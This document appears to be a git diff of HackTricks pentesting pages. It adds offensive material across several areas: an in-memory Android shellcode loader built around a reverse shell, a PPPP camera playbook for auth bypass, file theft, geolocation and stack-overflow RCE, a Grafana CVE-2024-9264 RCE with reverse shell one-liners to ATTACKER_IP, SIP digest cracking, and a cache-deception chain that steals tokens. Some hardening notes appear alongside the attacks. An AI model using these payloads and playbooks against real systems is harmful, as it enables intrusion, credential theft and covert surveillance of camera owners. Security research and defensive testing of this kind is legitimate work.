- Build your exploit as a static ELF with musl-gcc
- Convert the ELF into a selfloading shellcode blob using pwntools shellcraft.loader_append
Build
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
Transform ELF to raw shellcode (amd64 example)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpyed and executed by the app.
Delivery
- Host sc on an HTTP(S) server you control
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
Validation workflow for kernel payloads
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always revalidate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat
---
### See also: inmemory native code execution via JNI
A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no ondisk ELF). Details and readytouse JNI snippet here:
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
---
### Recent vulnerabilities worth hunting for in APKs
| Year | CVE | Affected library | Notes |
@ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
- SoTap: Lightweight in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,168 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
{{#include ../banners/hacktricks-training.md}}
## Overview
PPPP (a.k.a. “P2P”) is a proprietary device connectivity stack by CS2 Network thats widely embedded in low-cost IP cameras and other IoT devices. It provides rendezvous, NAT traversal (UDP hole punching), an application-layer “reliable” stream on top of UDP, and an ID-based addressing scheme, allowing a mobile/desktop app to reach devices anywhere on the Internet by knowing only a device ID.
Key traits relevant to attackers:
- Devices register to three vendor-operated rendezvous servers per ID prefix. Clients query the same servers to find the devices external/relay address, then attempt UDP hole punching. Relay fallback exists.
- Default server listener is reachable over UDP/32100. A minimal “hello” probe is enough to fingerprint servers and some devices.
- Optional blanket cipher and a special “CRCEnc” mode exist but are weak by design and are typically disabled in popular ecosystems (e.g., LookCam).
- Control plane is usually JSON commands over the PPPP stream and commonly suffers from missing auth and memory-safety bugs.
Typical device ID format (LookCam family): PREFIX-######-CCCCC, shortened in apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Observed prefixes: BHCC ("hekai"), FHBB and GHBB ("mykj").
## Discovery and Enumeration
- Internet exposure: many PPPP super-nodes answer a 32100/UDP probe. Known plaintext and error-string responses make them easy to identify in traffic captures and with Internet scanners.
- LAN discovery: devices often reply to an unencrypted search on local broadcast. Use Paul Marrapeses script to enumerate:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Notes:
- Apps embed “init strings” that contain obfuscated server IP lists and protocol keys. These strings are trivially extractable from Android/iOS/Windows clients and often reused across many product lines.
## NAT Traversal and Transport
- Rendezvous servers learn the devices public mapping by periodic keepalives from the device. Clients query the servers for the mapping and then attempt direct UDP flows using hole punching. If NAT traversal fails, traffic is relayed by designated PPPP relay hosts.
- The application “stream” implements its own ACK/retx logic on top of UDP; retransmission loops are duplicated across many code paths and can flood lossy links.
## Weak “Encryption” and Key Recovery
Two ineffective mechanisms exist in the CS2 stack:
1) Blanket cipher (optional) P2P_Proprietary_Encrypt
- Usually disabled by OEMs using LookCam.
- App-side “init string” supplies the key material which is reduced to an effective 4-byte key (~2^32 space).
- Practical known-plaintext: the first 4 bytes of MSG_HELLO to UDP/32100 are known to be F1 00 00 00. Observing a single encrypted handshake allows rapid key recovery or validation.
- Some control messages (e.g., MSG_REPORT_SESSION_READY) are always encrypted with a library-hardcoded key shared across apps.
2) Registration “encryption” PPPP_CRCEnc
- Despite the name, this is not CRC. Its a fixed repeating XOR keystream with a 4-byte padding check (not authenticated).
- LookCam networks typically use CRCEnc only for the device → server registration (MSG_DEV_LGN_CRC). Most other traffic stays plaintext.
Simple keystream recovery for PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Threat model mismatch: CS2 materials focus on preventing DoS via fake device registrations, not on confidentiality. This explains selective “encryption” of registration while video/control remain optional or cleartext. Historical PPPP servers show no rate limiting, enabling brute-force/abuse at scale.
## Control Plane: JSON Commands and Auth Bypass
Many PPPP camera firmwares exchange JSON messages once the session is up. Example “login” the client sends:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Common vulnerability in LookCam-class devices:
- Firmware ignores both the LoginDev flow and per-request pwd fields (CWE-287, CWE-306). The device accepts operational commands without validating a password.
- Exploitation: do not send LoginDev or ignore its result; send commands directly.
Useful commands observed:
- searchWiFiList shells out to iwlist; leaves raw output in /tmp/wifi_scan.txt.
- DownloadFile arbitrary path read primitive without path restrictions.
Workflow to deanonymize location via transient artifacts:
1) Send {"cmd":"searchWiFiList"}.
2) Read /tmp/wifi_scan.txt via DownloadFile.
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
## Memory-Safety to RCE on Embedded Firmware
Typical unsafe pattern (pseudocode from handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Trigger: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
- Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the devices CPU (e.g., ARM) for full compromise and LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Cloud Storage Abuse (HTTP, Device-ID only)
Many LookCam-branded firmwares upload recordings to api.l040z.com (apicn.l040z.com for BHCC) over HTTP only. Observations:
- No TLS in firmware; transport is cleartext HTTP.
- API “authentication” is device-ID only: anyone knowing the ID can fetch recordings.
- 5 MiB chunking is hardcoded.
- Remote enablement: on boot the device calls http://api.l040z.com/camera/signurl; the servers response decides whether uploads start. The mobile app may show cloud “disabled” even when uploads occur. A third party can purchase/enable cloud for a victim ID and silently collect footage.
This is classic cleartext sensitive transmission (CWE-319) with missing server-side authZ.
## Device-ID Enumeration and Guessing
- ID format: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW).
- Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). Each prefix maps to three rendezvous servers for HA.
- The 5-letter verifier uses an alphabet of 22 uppercase letters (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos per numeric base.
- Prior work observed no server-side rate-limiting, making distributed guessing practical. The verifier algorithm is bespoke and likely guessable or obtainable by reversing apps/firmware.
Practical sources of IDs:
- Displayed all over the official apps and often leaked in user screenshots/videos.
- AP mode SSID equals the device ID; many devices expose an open AP during onboarding.
## Forcing Remote Reachability
Some firmwares reboot in a loop until rendezvous servers are reachable. If egress is blocked, the device will remain in a reboot cycle, effectively coercing owners to leave it Internet-reachable and exposed to PPPP rendezvous.
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- From app UI or AP SSID; otherwise enumerate PREFIX+number and brute 22^5 verifier space.
2) Establish PPPP session
- Use a CS2 PPPP client or custom code; extract server IP lists and init keys from the app init string; attempt UDP hole punching; fall back to relay.
3) Bypass auth
- Skip LoginDev or ignore its result; send operational JSON directly.
4) Exfiltrate files / geo-locate
- Send {"cmd":"searchWiFiList"}; then DownloadFile "/tmp/wifi_scan.txt"; submit BSSIDs to a geolocation API.
5) Achieve RCE
- Send a cmd > 255 bytes to trigger the stack overflow; build ROP/ret2libc or drop shellcode (no canary/DEP/ASLR).
6) Cloud access
- Interact with api.l040z.com endpoints using only the device ID; note 5 MiB chunking; cloud enablement controlled by /camera/signurl regardless of the app UI state.
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -82,6 +82,12 @@ To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://
- Try to create a Gstreamer pipeline to check if they are properly encoded
- Print a summary of all the informations Cameradar could get
### See also
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## References
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)

View File

@ -361,8 +361,9 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP]
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. Also, dont trust automated share listings: even if a share looks read-only, the underlying NTFS ACLs may allow writes. Always test with smbclient by uploading a small file to `\\<dc>\\SYSVOL\\<domain>\\scripts\\`.
> If writable, you can [poison logon scripts for RCE at user logon](../../windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md#sysvolnetlogon-logon-script-poisoning).
## Read Registry

View File

@ -95,7 +95,7 @@ s=-
c=IN IP4 pc33.example.com
t=0 0
m=audio 49170 RTP/AVP 0
a=rtpmap:0 PCMU/8000te
a=rtpmap:0 PCMU/8000
```
<details>
@ -151,8 +151,8 @@ This initial REGISTER message is sent by the UA (Alice) to the registrar server.
2. **401 Unauthorized** response from the registrar server:
```css
cssCopy codeSIP/2.0 401 Unauthorized
```
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds
From: Alice <sip:alice@example.com>;tag=565656
To: Alice <sip:alice@example.com>;tag=7878744
@ -182,7 +182,7 @@ Content-Length: 0
The UA sends another REGISTER request, this time including the **"Authorization" header with the necessary credentials, such as the username, realm, nonce, and a response value** calculated using the provided information and the user's password.
This is how the **Authorizarion response** is calculated:
This is how the **Authorization response** is calculated:
```python
import hashlib
@ -240,7 +240,89 @@ After the registrar server verifies the provided credentials, **it sends a "200
> [!TIP]
> It's not mentioned, but User B needs to have sent a **REGISTER message to Proxy 2** before he is able to receive calls.
---
## SIP Security and Pentesting Notes
This section adds practical, protocol-specific tips without duplicating the broader VoIP guidance. For end-to-end VoIP attacking methodology, tools and scenarios, see:
{{#ref}}
../README.md
{{#endref}}
### Fingerprinting and Discovery
- Send an OPTIONS request and review `Allow`, `Supported`, `Server` and `User-Agent` headers to fingerprint devices and stacks:
```bash
# nmap NSE (UDP 5060 by default)
sudo nmap -sU -p 5060 --script sip-methods <target>
# Minimal raw OPTIONS over UDP
printf "OPTIONS sip:<target> SIP/2.0\r\nVia: SIP/2.0/UDP attacker;branch=z9\r\nFrom: <sip:probe@attacker>;tag=1\r\nTo: <sip:probe@<target>>\r\nCall-ID: 1@attacker\r\nCSeq: 1 OPTIONS\r\nMax-Forwards: 70\r\nContact: <sip:probe@attacker>\r\nContent-Length: 0\r\n\r\n" | nc -u -w 2 <target> 5060
```
### Username/Extension Enumeration Behavior
- Enumeration typically abuses differences between `401/407` vs `404/403` on `REGISTER`/`INVITE`. Harden servers to reply uniformly.
- Asterisk chan_sip: set `alwaysauthreject=yes` (general) to avoid disclosing valid users. In newer Asterisk (PJSIP), guest calling is disabled unless an `anonymous` endpoint is defined and similar "always auth reject" behavior is the default; still enforce network ACLs and fail2ban at the perimeter.
### SIP Digest Authentication: algorithms and cracking
- SIP commonly uses HTTP-Digest style auth. Historically MD5 (and MD5-sess) are prevalent; newer stacks support SHA-256 and SHA-512/256 per RFC 8760. Prefer these stronger algorithms in modern deployments and disable MD5 when possible.
- Offline cracking from a pcap is trivial for MD5 digests. After extracting the challenge/response, you can use hashcat mode 11400 (SIP digest, MD5):
```bash
# Example hash format (single line)
# username:realm:method:uri:nonce:cnonce:nc:qop:response
echo 'alice:example.com:REGISTER:sip:example.com:abcdef:11223344:00000001:auth:65a8e2285879283831b664bd8b7f14d4' > sip.hash
# Crack with a wordlist
hashcat -a 0 -m 11400 sip.hash /path/to/wordlist.txt
```
> [!NOTE]
> RFC 8760 defines SHA-256 and SHA-512/256 for HTTP Digest (used by SIP). Adoption is uneven; ensure your tools handle these when targeting modern PBXs.
### SIP over TLS (SIPS) and over WebSockets
- Signaling encryption:
- `sips:` URIs and TCP/TLS typically on 5061. Verify certificate validation on endpoints; many accept self-signed or wildcard certs, enabling MitM in weak deployments.
- WebRTC softphones often use SIP over WebSocket per RFC 7118 (`ws://` or `wss://`). If the PBX exposes WSS, test authentication and CORS, and ensure rate limits are enforced on the HTTP front end as well.
### DoS quick checks (protocol level)
- Flooding INVITE, REGISTER or malformed messages can exhaust transaction processing.
- Simple rate-limiting example for UDP/5060 (Linux iptables hashlimit):
```bash
# Limit new SIP packets from a single IP to 20/s with burst 40
iptables -A INPUT -p udp --dport 5060 -m hashlimit \
--hashlimit-name SIP --hashlimit 20/second --hashlimit-burst 40 \
--hashlimit-mode srcip -j ACCEPT
iptables -A INPUT -p udp --dport 5060 -j DROP
```
### Recent, relevant SIP-stack CVE to watch (Asterisk PJSIP)
- CVE-2024-35190 (published May 17, 2024): In specific Asterisk releases, `res_pjsip_endpoint_identifier_ip` could misidentify unauthorized SIP requests as a local endpoint, potentially enabling unauthorized actions or information exposure. Fixed in 18.23.1, 20.8.1 and 21.3.1. Validate your PBX version when testing and report responsibly.
### Hardening checklist (SIP-specific)
- Prefer TLS for signaling and SRTP/DTLS-SRTP for media; disable cleartext where feasible.
- Enforce strong passwords and digest algorithms (SHA-256/512-256 where supported; avoid MD5).
- For Asterisk:
- chan_sip: `alwaysauthreject=yes`, `allowguest=no`, per-endpoint `permit`/`deny` CIDR ACLs.
- PJSIP: do not create an `anonymous` endpoint unless needed; enforce endpoint `acl`/`media_acl`; enable fail2ban or equivalent.
- Topology hiding on SIP proxies (e.g., outbound proxy/edge SBC) to reduce information leakage.
- Strict `OPTIONS` handling and rate limits; disable unused methods (e.g., `MESSAGE`, `PUBLISH`) if not required.
## References
- RFC 8760 Using SHA-256 and SHA-512/256 for HTTP Digest (applies to SIP Digest too): https://www.rfc-editor.org/rfc/rfc8760
- Asterisk GHSA advisory for CVE-2024-35190: https://github.com/asterisk/asterisk/security/advisories/GHSA-qqxj-v78h-hrf9
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -443,6 +443,30 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Related reading on postMessage trust issues:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
@ -596,7 +620,6 @@ Detection and mitigations
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
@ -607,5 +630,3 @@ Detection and mitigations
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,7 +10,66 @@
- By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`**
- `select user,password,database from data_source;`
---
## CVE-2024-9264 SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafanas experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.
Impact
- Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.
- Preconditions commonly met in real deployments:
- SQL Expressions enabled: `expressions.enabled = true`
- `duckdb` binary present in PATH on the server
Quick checks
- In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm:
- `expressions.enabled` is true
- Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc.
- Shell on host: `which duckdb` must resolve for the exploit path below.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
2) Read back the temp file using `read_blob`
Example SQL Expressions payloads that get passed to DuckDB:
```sql
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
```
Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.
One-liner reverse shell example
```bash
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
```
Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`.
Automated PoC
- Public PoC (built on cfreals ten framework):
- [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)
Usage example
```bash
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
```
If output shows `uid=0(root)`, Grafana is running as root (common inside some containers).
## References
- [Grafana Advisory CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/)
- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html)
- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264)
- [cfreal/ten framework](https://github.com/cfreal/ten)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -294,6 +294,89 @@ Note that the **cache proxy** should be **configured** to **cache** files **base
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
### CSPT-assisted authenticated cache poisoning (Account Takeover)
This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
High level idea:
- A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
- Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
- The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victims auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victims token JSON under a public key.
- Anyone can then GET that same cache key without authentication and retrieve the victims token.
Example
- Sensitive endpoint (non-cacheable at origin):
```
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
```
- Static-looking suffix flips CDN to cacheable:
```
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
```
- CSPT in SPA attaches auth header and allows traversal:
```js
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
```
- Exploit chain:
1. Lure victim to a URL that injects dot-segments into the SPA path parameter, e.g.:
- [https://example.com/user?userId=../../../v1/token.css](https://example.com/user?userId=../../../v1/token.css)
2. The SPA issues an authenticated fetch to:
- [https://api.example.com/v1/users/info/../../../v1/token.css](https://api.example.com/v1/users/info/../../../v1/token.css)
3. Browser normalization resolves it to:
- [https://api.example.com/v1/token.css](https://api.example.com/v1/token.css)
4. The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=...
5. Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON.
Preconditions
- SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens.
- Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header.
- Origin for the base endpoint is non-cacheable (correct), but the extension-suffixed variant is allowed or not blocked by edge rules.
Validation checklist
- Identify sensitive dynamic endpoints and try suffixes like .css, .js, .jpg, .json. Look for Cache-Control: public/max-age and X-Cache: Hit (or equivalent, e.g., CF-Cache-Status) while content remains JSON.
- Locate client code that concatenates user-controlled input into API paths while attaching auth headers. Inject ../ sequences to redirect the authenticated request to your target endpoint.
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
@ -309,6 +392,11 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,6 +13,29 @@ A client side path traversal occurs when you can **manipulate the path of a URL*
- Check this [**CSPT playground**](https://github.com/doyensec/CSPTPlayground) to try the technique.
- Check [**this tutorial**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) on how to use the browser extension in the playground.
## CSPT-assisted web cache poisoning/deception
CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:
- A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
- By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
- If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victims authenticated response can be stored under a public cache key and retrieved by anyone.
Quick recipe:
1) Find SPA code building API URLs from path parameters while sending auth headers.
2) Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
3) Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
4) Read back the same URL anonymously to obtain the cached secret (token → ATO).
See details and mitigations in the Cache Deception page: [Cache Poisoning and Cache Deception](cache-deception/).
## References
- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
{{#include ../banners/hacktricks-training.md}}

View File

@ -35,6 +35,13 @@ Several countermeasures can be implemented to protect against CSRF attacks:
Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
#### Common pitfalls of defenses
- SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Dont rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick.
- Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST.
- Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS.
## Defences Bypass
### From POST to GET (method-conditioned CSRF validation bypass)
@ -75,6 +82,32 @@ Notes:
Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
Moreover, some implementations only check that the parameter exists but dont validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
```http
